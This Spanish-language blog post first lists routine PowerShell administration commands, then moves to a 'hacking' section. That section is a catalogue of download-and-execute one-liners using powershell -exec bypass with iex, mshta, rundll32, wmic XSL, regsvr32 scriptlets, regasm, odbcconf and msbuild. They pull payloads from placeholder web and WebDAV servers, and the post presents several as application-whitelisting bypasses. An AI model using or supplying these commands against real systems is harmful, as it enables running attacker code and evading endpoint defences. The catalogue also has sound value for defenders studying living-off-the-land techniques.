Comandos de Powershell

August 30th, 2019 Posted by Blog 0 thoughts on “Comandos de Powershell”

¿Que es PowerShell?

No todo lo relacionado con hacking esta hecho en  python, perl  o ruby; también tenemos una buen opción en Windows que se llama PowerShell; en esta publicación vamos a conocer alguno trucos básicos.

PowerShell (originalmente llamada Windows PowerShell) es una interfaz de consola (CLI) con posibilidad de escritura y unión de comandos por medio de instrucciones (scripts en inglés). Esta interfaz de consola está diseñada para su uso por parte de administradores de sistemas, con el propósito de automatizar tareas o realizarlas de forma más controlada.

Primero empezaremos con comandos básicos que son los siguientes:

  • Encuentre los cinco procesos que usan más memoria:
ps | sort –p ws | select –last 5

Recolectar información

  • Obtenga información sobre la fabricación y modelo de una computadora:
Get-WmiObject -Class Win32_ComputerSystem

  • Obtenga información sobre la BIOS de la computadora actual:
Get-WmiObject -Class Win32_BIOS -ComputerName .

  • Lista de arreglos en caliente instalados – QFEs o archivos Windows Update:
Get-WmiObject -Class Win32_QuickFixEngineering -ComputerName .

  • Obtenga el nombre de usuario de la persona actualmente registrado en una computadora:
Get-WmiObject -Class Win32_ComputerSystem -Property UserName -ComputerName .

  • Encuentre solo los nombres de las aplicaciones instaladas en la computadora actual:
Get-WmiObject -Class Win32_Product -ComputerName . | Format-Wide -Column 1

  •  Obtenga direcciones IP asignadas a la computadora actual:
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE -ComputerName . | Format-Table -Property IPAddress

  •  Obtenga un reporte de configuración IP más detallada para la máquina actual:
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE -ComputerName . | Select-Object -Property [a-z]* -ExcludeProperty IPX*,WINS*

  • Encuentre las tarjetas de red con DHCP habilitado en la computadora actual:
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "DHCPEnabled=true" -ComputerName .
  •  Permita DHCP en todos los adaptadores de red en la computadora actual:
Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=true -ComputerName . | ForEach-Object -Process {$_.EnableDHCP()}

Gestión de software

  •  Instale un paquete MSI en una computadora remota:
(Get-WMIObject -ComputerName TARGETMACHINE -List | Where-Object -FilterScript {$_.Name -eq "Win32_Product"}).Install(\\MACHINEWHEREMSIRESIDES\path\package.msi)
  • Actualice una aplicación instalada con un paquete de actualización de aplicaciones basada en MSI:
(Get-WmiObject -Class Win32_Product -ComputerName . -Filter "Name='name_of_app_to_be_upgraded'").Upgrade(\\MACHINEWHEREMSIRESIDES\path\upgrade_package.msi)
  • Elimine un paquete MSI de la computadora actual:
(Get-WmiObject -Class Win32_Product -Filter "Name='product_to_remove'" -ComputerName . ).Uninstall()

Gestión de la máquina

  • Remotamente apague otra máquina después de un minuto:
Start-Sleep 60; Restart-Computer –Force –ComputerName TARGETMACHINE
  • Añada una impresora:
(New-Object -ComObject WScript.Network).AddWindowsPrinterConnection("\\printerserver\hplaser3")
  •  Elimine una impresora:
(New-Object -ComObject WScript.Network).RemovePrinterConnection("\\printerserver\hplaser3 ")
  •  Entre en una sesión remota de PowerShell – usted debe tener habilitada la gestión remota:
enter-pssession TARGETMACHINE
  •  Use el commando de invocación de PowerShell ejecute un script en un servidor remoto:
invoke-command -computername machine1, machine2 -filepath c:\Script\script.ps1

 

Hemos visto algunos comandos básicos ahora pasamos a unos mas complejos y de uso en hacking

Proceso que realiza la llamada de red: powershell.exe. Carga útil escrita en el disco: NO (¡ al menos en ningún lugar que pueda encontrar usando procmon! )

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

 

Cscript/Wscript

También es muy común, pero la idea aquí es descargar la carga útil desde un servidor remoto en una línea de comando:

cscript //E:jscript \\webdavserver\folder\payload.txt

mshta

mshta.exe es un archivo .exe legítimo que pertenece a Microsoft. Este archivo también es conocido como intérprete de Microsoft Scripting Host, por lo que es el responsable de ejecutar las aplicaciones HTML (archivos .hta) y ayudar a los scripts que se ejecutan en Windows.

Mshta realmente es la misma familia que cscript / wscript pero con la capacidad adicional de ejecutar un script en línea que descargará y ejecutará un scriptlet como carga útil:

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Proceso que realiza la llamada de red: mshta.exe Carga útil escrita en el disco: caché local de IE

También podría hacer un truco mucho más simple ya que mshta acepta una URL como argumento para ejecutar un archivo HTA:

mshta http://webserver/payload.hta

 

Proceso que realiza la llamada de red: mshta.exe Carga útil escrita en el disco: caché local de IE

Finalmente, lo siguiente también funciona, con la ventaja de ocultar cosas de descarga mshta.exe:

mshta \\webdavserver\folder\payload.hta

Proceso que realiza la llamada de red: svchost.exe Carga útil escrita en el disco: caché local del cliente WebDAV

 

Rundll32

Uno bien conocido también, se puede utilizar de diferentes maneras. El primero se refiere a una DLL estándar que utiliza una ruta UNC:

rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Wmic

Descubierto por @subTee con @mattifestation, wmic puede invocar un archivo local o remoto XSL ( eXtensible Stylesheet Language ), que puede contener algunas secuencias de comandos de nuestra elección:
wmic os get /format:"https://webserver/payload.xsl"

Regasm / Regsvc

Regasm y Regsvc son una de esas sofisticadas técnicas de omisión de listas blancas de aplicaciones descubiertas por @subTee. Debe crear una DLL específica ( se puede escribir en .Net / C # ) que expondrá las interfaces adecuadas, y luego puede llamarla a través de WebDAV:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

regsvr32

Otro de @subTee. Este requiere un scriptlet ligeramente diferente del mshta anterior. Primera opción:

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Odbcconf

Este está cerca del regsvr32. También descubierto por @subTee, puede ejecutar una DLL exponiendo una función específica. Cabe señalar que el archivo DLL no necesita tener la extensión .dll . Se puede descargar usando UNC / WebDAV:

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Msbuild

Sigamos con todas estas utilidades de .Net framework descubiertas por @subTee. NO puede usar msbuild.exe usando tareas en línea directamente desde una ruta UNC (en realidad, puede hacerlo, pero se vuelve realmente desordenado ), por lo que resultó con el siguiente truco, usando solo msbuild.exe. Tenga en cuenta que deberá llamarse dentro de un shell con ENABLEDELAYEDEXPANSION ( opción / V ):

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
Todo lo que antes hacíamos con Visual Basic Script lo vamos a poder hacer ahora con Windows Powershell en muchas menos lineas de código. Te invito a seguir haciendo pruebas y también a revisar nuestras publicaciones te aseguro que que encontraras cosas interesantes.

Referencias:

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.